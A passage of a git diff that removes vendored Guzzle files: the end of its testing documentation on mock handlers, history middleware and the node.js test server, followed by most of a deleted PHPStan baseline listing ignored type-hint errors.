with the second response. - echo $client->request('GET', '/')->getStatusCode(); - //> 202 - - // Reset the queue and queue up a new response - $mock->reset(); - $mock->append(new Response(201)); - - // As the mock was reset, the new response is the 201 CREATED, - // instead of the previously queued RequestException - echo $client->request('GET', '/')->getStatusCode(); - //> 201 - - -When no more responses are in the queue and a request is sent, an -``OutOfBoundsException`` is thrown. - -History Middleware -================== - -When using things like the ``Mock`` handler, you often need to know if the -requests you expected to send were sent exactly as you intended. While the mock -handler responds with mocked responses, the history middleware maintains a -history of the requests that were sent by a client. - -.. code-block:: php - - use GuzzleHttp\Client; - use GuzzleHttp\HandlerStack; - use GuzzleHttp\Middleware; - - $container = []; - $history = Middleware::history($container); - - $handlerStack = HandlerStack::create(); - // or $handlerStack = HandlerStack::create($mock); if using the Mock handler. - - // Add the history middleware to the handler stack. - $handlerStack->push($history); - - $client = new Client(['handler' => $handlerStack]); - - $client->request('GET', 'http://httpbin.org/get'); - $client->request('HEAD', 'http://httpbin.org/get'); - - // Count the number of transactions - echo count($container); - //> 2 - - // Iterate over the requests and responses - foreach ($container as $transaction) { - echo $transaction['request']->getMethod(); - //> GET, HEAD - if ($transaction['response']) { - echo $transaction['response']->getStatusCode(); - //> 200, 200 - } elseif ($transaction['error']) { - echo $transaction['error']; - //> exception - } - var_dump($transaction['options']); - //> dumps the request options of the sent request. - } - - -Test Web Server -=============== - -Using mock responses is almost always enough when testing a web service client. -When implementing custom :doc:`HTTP handlers `, you'll -need to send actual HTTP requests in order to sufficiently test the handler. -However, a best practice is to contact a local web server rather than a server -over the internet. - -- Tests are more reliable -- Tests do not require a network connection -- Tests have no external dependencies - - -Using the test server ---------------------- - -.. warning:: - - The following functionality is provided to help developers of Guzzle - develop HTTP handlers. There is no promise of backwards compatibility - when it comes to the node.js test server or the ``GuzzleHttp\Tests\Server`` - class. If you are using the test server or ``Server`` class outside of - guzzlehttp/guzzle, then you will need to configure autoloading and - ensure the web server is started manually. - -.. hint:: - - You almost never need to use this test web server. You should only ever - consider using it when developing HTTP handlers. The test web server - is not necessary for mocking requests. For that, please use the - Mock handler and history middleware. - -Guzzle ships with a node.js test server that receives requests and returns -responses from a queue. The test server exposes a simple API that is used to -enqueue responses and inspect the requests that it has received. - -Any operation on the ``Server`` object will ensure that -the server is running and wait until it is able to receive requests before -returning. - -``GuzzleHttp\Tests\Server`` provides a static interface to the test server. You -can queue an HTTP response or an array of responses by calling -``Server::enqueue()``. This method accepts an array of -``Psr\Http\Message\ResponseInterface`` and ``Exception`` objects. - -.. code-block:: php - - use GuzzleHttp\Client; - use GuzzleHttp\Psr7\Response; - use GuzzleHttp\Tests\Server; - - // Start the server and queue a response - Server::enqueue([ - new Response(200, ['Content-Length' => 0]) - ]); - - $client = new Client(['base_uri' => Server::$url]); - echo $client->request('GET', '/foo')->getStatusCode(); - // 200 - -When a response is queued on the test server, the test server will remove any -previously queued responses. As the server receives requests, queued responses -are dequeued and returned to the request. When the queue is empty, the server -will return a 500 response. - -You can inspect the requests that the server has retrieved by calling -``Server::received()``. - -.. code-block:: php - - foreach (Server::received() as $response) { - echo $response->getStatusCode(); - } - -You can clear the list of received requests from the web server using the -``Server::flush()`` method. - -.. code-block:: php - - Server::flush(); - echo count(Server::received()); - // 0 diff --git a/vendor/guzzlehttp/guzzle/phpstan-baseline.neon b/vendor/guzzlehttp/guzzle/phpstan-baseline.neon deleted file mode 100644 index 2e3418982c..0000000000 --- a/vendor/guzzlehttp/guzzle/phpstan-baseline.neon +++ /dev/null @@ -1,1352 +0,0 @@ -parameters: - ignoreErrors: - - - message: "#^Property GuzzleHttp\\\\Client\\:\\:\\$config type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:__construct\\(\\) has parameter \\$config with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:__call\\(\\) has parameter \\$args with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:__call\\(\\) should return GuzzleHttp\\\\Promise\\\\PromiseInterface but returns GuzzleHttp\\\\Promise\\\\PromiseInterface\\|Psr\\\\Http\\\\Message\\\\ResponseInterface\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:sendAsync\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:send\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:requestAsync\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:request\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:buildUri\\(\\) has parameter \\$config with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:configureDefaults\\(\\) has parameter \\$config with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Parameter \\#1 \\$str of function strtolower expects string, int\\|string given\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:prepareDefaults\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:prepareDefaults\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:transfer\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\Client\\:\\:applyOptions\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Parameter \\#2 \\$prefix of function http_build_query expects string, null given\\.$#" - count: 1 - path: src/Client.php - - - - message: "#^Method GuzzleHttp\\\\ClientInterface\\:\\:send\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/ClientInterface.php - - - - message: "#^Method GuzzleHttp\\\\ClientInterface\\:\\:sendAsync\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/ClientInterface.php - - - - message: "#^Method GuzzleHttp\\\\ClientInterface\\:\\:request\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/ClientInterface.php - - - - message: "#^Method GuzzleHttp\\\\ClientInterface\\:\\:requestAsync\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/ClientInterface.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:__construct\\(\\) has parameter \\$cookieArray with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:fromArray\\(\\) has parameter \\$cookies with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:fromArray\\(\\) return type has no value type specified in iterable type GuzzleHttp\\\\Cookie\\\\CookieJar\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:getCookieValue\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:getCookieValue\\(\\) has parameter \\$value with no typehint specified\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Result of \\|\\| is always false\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Strict comparison using \\=\\=\\= between string and null will always evaluate to false\\.$#" - count: 2 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:toArray\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Call to an undefined method Traversable\\\\:\\:getArrayCopy\\(\\)\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:clear\\(\\) return type has no value type specified in iterable type GuzzleHttp\\\\Cookie\\\\CookieJarInterface\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:clear\\(\\) should return GuzzleHttp\\\\Cookie\\\\CookieJarInterface but return statement is missing\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:clear\\(\\) should return GuzzleHttp\\\\Cookie\\\\CookieJarInterface but empty return statement found\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:clearSessionCookies\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:getIterator\\(\\) return type has no value type specified in iterable type Traversable\\\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:extractCookies\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Parameter \\#3 \\$length of function substr expects int, int\\|false given\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJar\\:\\:removeCookieIfEmpty\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/CookieJar.php - - - - message: "#^Interface GuzzleHttp\\\\Cookie\\\\CookieJarInterface extends generic interface IteratorAggregate but does not specify its types\\: TKey, TValue$#" - count: 1 - path: src/Cookie/CookieJarInterface.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJarInterface\\:\\:extractCookies\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/CookieJarInterface.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJarInterface\\:\\:clear\\(\\) return type has no value type specified in iterable type GuzzleHttp\\\\Cookie\\\\CookieJarInterface\\.$#" - count: 1 - path: src/Cookie/CookieJarInterface.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJarInterface\\:\\:clearSessionCookies\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/CookieJarInterface.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\CookieJarInterface\\:\\:toArray\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Cookie/CookieJarInterface.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\FileCookieJar\\:\\:save\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/FileCookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\FileCookieJar\\:\\:load\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/FileCookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SessionCookieJar\\:\\:save\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SessionCookieJar.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SessionCookieJar\\:\\:load\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SessionCookieJar.php - - - - message: "#^Property GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:\\$defaults type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Property GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:\\$data type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:__construct\\(\\) has parameter \\$data with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Parameter \\#1 \\$timestamp of method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setExpires\\(\\) expects int, mixed given\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:toArray\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setName\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setValue\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setDomain\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setPath\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setMaxAge\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setExpires\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Else branch is unreachable because ternary operator condition is always true\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setSecure\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setDiscard\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Cookie\\\\SetCookie\\:\\:setHttpOnly\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Parameter \\#1 \\$str of function ltrim expects string, string\\|null given\\.$#" - count: 1 - path: src/Cookie/SetCookie.php - - - - message: "#^Method GuzzleHttp\\\\Exception\\\\BadResponseException\\:\\:__construct\\(\\) has parameter \\$handlerContext with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Exception/BadResponseException.php - - - - message: "#^Method GuzzleHttp\\\\Exception\\\\ConnectException\\:\\:__construct\\(\\) has parameter \\$handlerContext with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Exception/ConnectException.php - - - - message: "#^Property GuzzleHttp\\\\Exception\\\\RequestException\\:\\:\\$handlerContext type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Exception/RequestException.php - - - - message: "#^Method GuzzleHttp\\\\Exception\\\\RequestException\\:\\:__construct\\(\\) has parameter \\$handlerContext with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Exception/RequestException.php - - - - message: "#^Method GuzzleHttp\\\\Exception\\\\RequestException\\:\\:create\\(\\) has parameter \\$ctx with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Exception/RequestException.php - - - - message: "#^Method GuzzleHttp\\\\Exception\\\\RequestException\\:\\:getHandlerContext\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Exception/RequestException.php - - - - message: "#^Property GuzzleHttp\\\\Exception\\\\SeekException\\:\\:\\$stream has no typehint specified\\.$#" - count: 1 - path: src/Exception/SeekException.php - - - - message: "#^Method GuzzleHttp\\\\Exception\\\\SeekException\\:\\:__construct\\(\\) has parameter \\$msg with no typehint specified\\.$#" - count: 1 - path: src/Exception/SeekException.php - - - - message: "#^Method GuzzleHttp\\\\Exception\\\\SeekException\\:\\:__construct\\(\\) has parameter \\$pos with no typehint specified\\.$#" - count: 1 - path: src/Exception/SeekException.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:\\$handles type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:create\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:release\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Negated boolean expression is always false\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:invokeStats\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:finishError\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:createRejection\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:createRejection\\(\\) has parameter \\$ctx with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^If condition is always true\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Unreachable statement \\- code above always terminates\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:getDefaultConf\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:applyMethod\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:applyMethod\\(\\) has parameter \\$conf with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:applyBody\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:applyBody\\(\\) has parameter \\$conf with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:applyBody\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:applyHeaders\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:applyHeaders\\(\\) has parameter \\$conf with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:removeHeader\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:removeHeader\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Parameter \\#1 \\$str1 of function strcasecmp expects string, int\\|string given\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:applyHandlerOptions\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:applyHandlerOptions\\(\\) has parameter \\$conf with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Parameter \\#1 \\$filename of function is_dir expects string, string\\|false given\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:retryFailedRewind\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:retryFailedRewind\\(\\) has parameter \\$ctx with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactory\\:\\:createHeaderFn\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactory.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactoryInterface\\:\\:create\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlFactoryInterface.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlFactoryInterface\\:\\:release\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlFactoryInterface.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlHandler\\:\\:__construct\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlHandler\\:\\:__invoke\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlHandler\\:\\:__invoke\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:\\$selectTimeout has no typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:\\$active has no typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:\\$handles has no typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:\\$delays has no typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:\\$options has no typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:__construct\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:__get\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:__get\\(\\) has parameter \\$name with no typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:\\$_mh \\(resource\\) does not accept resource\\|false\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Parameter \\#1 \\$mh of function curl_multi_setopt expects resource, resource\\|false given\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:__invoke\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:__invoke\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:tick\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:execute\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:addRequest\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:addRequest\\(\\) has parameter \\$entry with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:processMessages\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\CurlMultiHandler\\:\\:timeToNext\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/CurlMultiHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\EasyHandle\\:\\:\\$headers type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/EasyHandle.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\EasyHandle\\:\\:\\$options type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/EasyHandle.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\EasyHandle\\:\\:createResponse\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/EasyHandle.php - - - - message: "#^Parameter \\#1 \\$status of class GuzzleHttp\\\\Psr7\\\\Response constructor expects int, string given\\.$#" - count: 1 - path: src/Handler/EasyHandle.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\EasyHandle\\:\\:__get\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/EasyHandle.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\EasyHandle\\:\\:__get\\(\\) has parameter \\$name with no typehint specified\\.$#" - count: 1 - path: src/Handler/EasyHandle.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:\\$queue has no typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:\\$lastRequest has no typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:\\$lastOptions has no typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:\\$onFulfilled has no typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:\\$onRejected has no typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:createWithMiddleware\\(\\) has parameter \\$queue with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:__construct\\(\\) has parameter \\$queue with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Parameter \\#2 \\$parameters of function call_user_func_array expects array\\, array given\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:__invoke\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:__invoke\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Binary operation \"\\*\" between float\\|int\\|string and 1000 results in an error\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:append\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:getLastOptions\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:reset\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:invokeStats\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:invokeStats\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\MockHandler\\:\\:invokeStats\\(\\) has parameter \\$reason with no typehint specified\\.$#" - count: 1 - path: src/Handler/MockHandler.php - - - - message: "#^Property GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:\\$lastHeaders has no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:__invoke\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method 